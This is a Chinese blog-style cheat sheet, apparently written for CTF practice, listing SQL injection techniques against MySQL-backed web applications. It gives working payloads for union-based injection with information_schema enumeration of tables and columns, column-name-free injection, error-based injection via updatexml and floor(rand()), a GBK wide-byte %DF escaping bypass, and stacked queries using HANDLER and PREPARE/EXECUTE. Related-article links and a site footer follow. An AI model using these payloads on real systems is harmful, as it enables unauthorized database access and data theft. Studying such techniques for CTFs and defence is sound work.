热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

ctf攻防渗透SQL注入SQL注入常用方法

联合注入(union):①判断注入类型:先判断注入类型:字符型,数字型(注入ida报错表示类型为数字,即就是$id,没有””)判断如何包裹:输入去判断数据是如何包裹的,单引号报错是



联合注入(union):
①判断注入类型:
先判断注入类型:字符型,数字型(注入 id=a 报错表示 类型为数字 ,即就是$id,没有””)

判断如何包裹:输入去判断 数据是如何包裹的,单引号报错是单引号,双引号报错是双引号,在判断有没有括号包裹

例子:输入 a,1” ,1’ ,都报错 就是单纯的 $id
用 ‘,”,) 加在 id=1 后面,以 %23 结尾来测试 输入的结构
#是注释符 (url编码%23)

②查列数:
联合查询时 union select 后面列数要相同
(用oreer by)

③确定字段位置(为了确定数据与字段的对应关系)
union select 1,2,3,4,5 (看 12345 的位置)

当⻚⾯只会显示⼀⾏数据时候,需要先拼上⼀个恒假的条件让前⾯的结果集没有输⼊
and 1=2 union select 1,2,3,4,5

④查表名
select group_concat(table_name) from information_schema.tables where table_schema=database()

⑤查列名
select group_concat(column_name) from information_schema.columns where table_name=‘xxx’

⑥查数据
例子:

无列名注入:
?id=1 union select 1,(select group_concat(a) from (select ‘a’ union select * from f1ag_table) as t)

报错注入:
WHERE id =1 AND updatexml(1,concat(0x73,(select database())),1)

SELECT count(*),concat((select database()),floor(rand(114514)*2)) FROM users GROUP BY 2

宽字节注入:
利用 GBK 编码 用 %DF (因为可以和%5c 构成汉字 )来绕过注释 (比如’,” 符号会被加 \ 注释掉) 加 %DF 后 由于 DF 大于127 ,会把 %DF 和后一个字符(\)看作一个汉字,从而绕过注释

堆叠注入:
也叫多⾏注⼊,当代码允许多⾏查询时候使⽤,⼀般是在select等关键字被过滤的时候进⾏使⽤的。 对于堆叠注⼊,我们⼀般使⽤两种⽅式进⾏绕过select

1.查表:
show databases;
show tables;


  1. Handler使⽤

handler test open;
handler test read first;
handler test close;

3.动态执⾏预处理
set @a=0xxxxx; # 要执⾏语句的16进制
prepare test from @a;
execute test;



推荐阅读
  • 本文详细介绍了如何使用MySQL来显示SQL语句的执行时间,并通过MySQL Query Profiler获取CPU和内存使用量以及系统锁和表锁的时间。同时介绍了效能分析的三种方法:瓶颈分析、工作负载分析和基于比率的分析。 ... [详细]
  • 本文详细介绍了MySQL表分区的创建、增加和删除方法,包括查看分区数据量和全库数据量的方法。欢迎大家阅读并给予点评。 ... [详细]
  • 本文介绍了如何使用PHP代码将表格导出为UTF8格式的Excel文件。首先,需要连接到数据库并获取表格的列名。然后,设置文件名和文件指针,并将内容写入文件。最后,设置响应头部,将文件作为附件下载。 ... [详细]
  • Oracle Database 10g许可授予信息及高级功能详解
    本文介绍了Oracle Database 10g许可授予信息及其中的高级功能,包括数据库优化数据包、SQL访问指导、SQL优化指导、SQL优化集和重组对象。同时提供了详细说明,指导用户在Oracle Database 10g中如何使用这些功能。 ... [详细]
  • 解决VS写C#项目导入MySQL数据源报错“You have a usable connection already”问题的正确方法
    本文介绍了在VS写C#项目导入MySQL数据源时出现报错“You have a usable connection already”的问题,并给出了正确的解决方法。详细描述了问题的出现情况和报错信息,并提供了解决该问题的步骤和注意事项。 ... [详细]
  • 本文讨论了在数据库打开和关闭状态下,重新命名或移动数据文件和日志文件的情况。针对性能和维护原因,需要将数据库文件移动到不同的磁盘上或重新分配到新的磁盘上的情况,以及在操作系统级别移动或重命名数据文件但未在数据库层进行重命名导致报错的情况。通过三个方面进行讨论。 ... [详细]
  • Oracle seg,V$TEMPSEG_USAGE与Oracle排序的关系及使用方法
    本文介绍了Oracle seg,V$TEMPSEG_USAGE与Oracle排序之间的关系,V$TEMPSEG_USAGE是V_$SORT_USAGE的同义词,通过查询dba_objects和dba_synonyms视图可以了解到它们的详细信息。同时,还探讨了V$TEMPSEG_USAGE的使用方法。 ... [详细]
  • MyBatis多表查询与动态SQL使用
    本文介绍了MyBatis多表查询与动态SQL的使用方法,包括一对一查询和一对多查询。同时还介绍了动态SQL的使用,包括if标签、trim标签、where标签、set标签和foreach标签的用法。文章还提供了相关的配置信息和示例代码。 ... [详细]
  • r2dbc配置多数据源
    R2dbc配置多数据源问题根据官网配置r2dbc连接mysql多数据源所遇到的问题pom配置可以参考官网,不过我这样配置会报错我并没有这样配置将以下内容添加到pom.xml文件d ... [详细]
  • WhenIusepythontoapplythepymysqlmoduletoaddafieldtoatableinthemysqldatabase,itdo ... [详细]
  • 在Oracle11g以前版本中的的DataGuard物理备用数据库,可以以只读的方式打开数据库,但此时MediaRecovery利用日志进行数据同步的过 ... [详细]
  • 解决.net项目中未注册“microsoft.ACE.oledb.12.0”提供程序的方法
    在开发.net项目中,通过microsoft.ACE.oledb读取excel文件信息时,报错“未在本地计算机上注册“microsoft.ACE.oledb.12.0”提供程序”。本文提供了解决这个问题的方法,包括错误描述和代码示例。通过注册提供程序和修改连接字符串,可以成功读取excel文件信息。 ... [详细]
  • Postgresql备份和恢复的方法及命令行操作步骤
    本文介绍了使用Postgresql进行备份和恢复的方法及命令行操作步骤。通过使用pg_dump命令进行备份,pg_restore命令进行恢复,并设置-h localhost选项,可以完成数据的备份和恢复操作。此外,本文还提供了参考链接以获取更多详细信息。 ... [详细]
  • 本文介绍了在使用Laravel和sqlsrv连接到SQL Server 2016时,如何在插入查询中使用输出子句,并返回所需的值。同时讨论了使用CreatedOn字段返回最近创建的行的解决方法以及使用Eloquent模型创建后,值正确插入数据库但没有返回uniqueidentifier字段的问题。最后给出了一个示例代码。 ... [详细]
  • Python操作MySQL(pymysql模块)详解及示例代码
    本文介绍了使用Python操作MySQL数据库的方法,详细讲解了pymysql模块的安装和连接MySQL数据库的步骤,并提供了示例代码。内容涵盖了创建表、插入数据、查询数据等操作,帮助读者快速掌握Python操作MySQL的技巧。 ... [详细]
author-avatar
晨钟暮鼓芋
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有